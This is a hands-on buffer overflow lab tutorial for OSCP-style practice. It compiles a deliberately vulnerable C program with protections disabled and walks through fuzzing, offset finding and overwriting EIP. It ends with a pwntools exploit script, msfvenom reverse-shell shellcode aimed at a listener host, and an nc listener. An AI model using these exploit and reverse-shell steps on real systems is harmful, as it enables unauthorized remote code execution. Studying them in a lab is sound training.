๐ฏ Lab Objectives
- Understand how the stack and EIP register control program flow
- Crash a vulnerable program by overflowing a buffer
- Use pattern generation to find the exact offset to EIP
- Overwrite EIP to redirect execution
- Generate shellcode and get a reverse shell
Buffer overflows are one of the oldest vulnerabilities in computing โ but still appear on OSCP and real-world CTFs. Understanding them builds deep knowledge of how programs actually work in memory.
Step 1 โ How the Stack Works
# The stack is a region of memory used for:
# - Local variables
# - Function parameters
# - Return addresses (where to go after function ends)
High addresses
โโโโโโโโโโโโโโโโ
โ Parameters โ
โโโโโโโโโโโโโโโโค
โ Return Addr โ โ EIP (Instruction Pointer)
โโโโโโโโโโโโโโโโค โ EBP (Base Pointer)
โ Saved EBP โ
โโโโโโโโโโโโโโโโค
โ Local vars โ โ buffer lives here
โ buffer[64] โ
โโโโโโโโโโโโโโโโ
Low addresses (stack grows DOWN)
# Key registers:
EIP โ Points to next instruction to execute. Control this = control execution.
ESP โ Stack pointer (top of stack)
EBP โ Base pointer (bottom of current stack frame)
Step 2 โ What is a Buffer Overflow?
# Vulnerable C code:
void vulnerable_function(char *input) {
char buffer[64]; // only 64 bytes allocated
strcpy(buffer, input); // no length check! copies everything
}
// If input > 64 bytes โ overwrites saved EBP โ overwrites return address (EIP)
# What happens with a 100-byte input:
buffer[0-63] โ fills the buffer (normal)
bytes[64-67] โ overwrites saved EBP
bytes[68-71] โ OVERWRITES EIP (return address!)
When function returns โ jumps to whatever address is in EIP
โ If we control EIP, we control where code execution goes
Step 3 โ Lab Setup
# Install tools
sudo apt install gdb python3 pwndbg -y
pip3 install pwntools
# Install pwndbg (GDB plugin that makes exploitation much easier)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Compile a vulnerable program for practice:
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
void vuln(char *buf) {
char local[64];
strcpy(local, buf);
printf("Hello %s\n", local);
}
int main(int argc, char *argv[]) {
vuln(argv[1]);
return 0;
}
EOF
# Compile with protections disabled (for learning):
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
# Disable ASLR (address randomisation):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Step 4 โ Fuzzing (Find the Crash)
# Send increasingly large inputs until the program crashes
# Python fuzzer:
python3 -c "print('A' * 100)" | ./vuln
python3 -c "print('A' * 200)" | ./vuln
# In GDB:
gdb ./vuln
(gdb) run $(python3 -c "print('A' * 100)")
# Program received signal SIGSEGV (Segmentation fault)
# EIP: 0x41414141 โ "AAAA" in hex! We've overwritten EIP!
Step 5 โ Find the Exact Offset
# Use a cyclic pattern to find EXACTLY which byte overwrites EIP
# Generate a unique 200-byte pattern:
python3 -c "from pwn import *; print(cyclic(200).decode())" > pattern.txt
# or with msf:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Run with the pattern:
gdb ./vuln
(gdb) run $(cat pattern.txt)
# Program received signal SIGSEGV
# EIP: 0x61616173 โ unique value! Find its offset:
# Find offset in pattern (pwntools):
python3 -c "from pwn import *; print(cyclic_find(0x61616173))"
# 76 โ offset is 76 bytes
# Verify: 76 A's + 4 B's should put "BBBB" (0x42424242) in EIP
gdb ./vuln
(gdb) run $(python3 -c "print('A'*76 + 'B'*4)")
# EIP: 0x42424242 โ confirmed!
Step 6 โ Controlling EIP
# Find bad characters (chars that corrupt the payload โ e.g., \x00 null byte)
# Generate all byte values and look for what gets corrupted:
badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
b"\x0f\x10\x11\x12..." ) # etc.
# Find a JMP ESP instruction (redirects to our shellcode on the stack)
# In GDB with pwndbg:
(gdb) info proc mappings # find memory regions without ASLR
objdump -d vuln | grep "ff e4" # find JMP ESP (ff e4) instruction
# With pwntools:
from pwn import *
elf = ELF('./vuln')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))
# 0x08048440 โ address of JMP ESP
# Stack layout of our exploit:
[ A * 76 ][ JMP_ESP address ][ NOP sled ][ shellcode ]
padding overwrites EIP slide payload
Step 7 โ Generate Shellcode
# Generate reverse shell shellcode with msfvenom
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f python \
-b "\x00" # exclude null bytes
# Output:
buf = b""
buf += b"\xda\xc0\xd9\x74\x24\xf4\x5f\x29\xc9..."
# Length: ~95 bytes
# For Windows targets:
msfvenom -p windows/shell_reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-f python -b "\x00\x0a\x0d"
# Start listener:
nc -lvnp 4444
Step 8 โ Full Exploit Script
#!/usr/bin/env python3
from pwn import *
offset = 76
jmp_esp = p32(0x08048440) # address in little-endian format
nop_sled = b"\x90" * 16 # NOP instructions (slide into shellcode)
# Shellcode (replace with msfvenom output)
shellcode = (
b"\xda\xc0\xd9\x74\x24\xf4..."
)
payload = b"A" * offset # pad to EIP
payload += jmp_esp # overwrite EIP with JMP ESP
payload += nop_sled # land somewhere in NOPs
payload += shellcode # execute reverse shell
print(f"[*] Payload length: {len(payload)}")
print(f"[*] EIP overwrite at offset: {offset}")
# Write to file or send directly:
with open("exploit.bin", "wb") as f:
f.write(payload)
# Or send to network service:
# p = remote("target.com", 9999)
# p.sendline(payload)
# p.interactive()
Lab Complete! Buffer overflows are a core OSCP topic. Practice on Vulnserver (Windows), protostar, exploit.education, or TryHackMe's Buffer Overflow Prep room.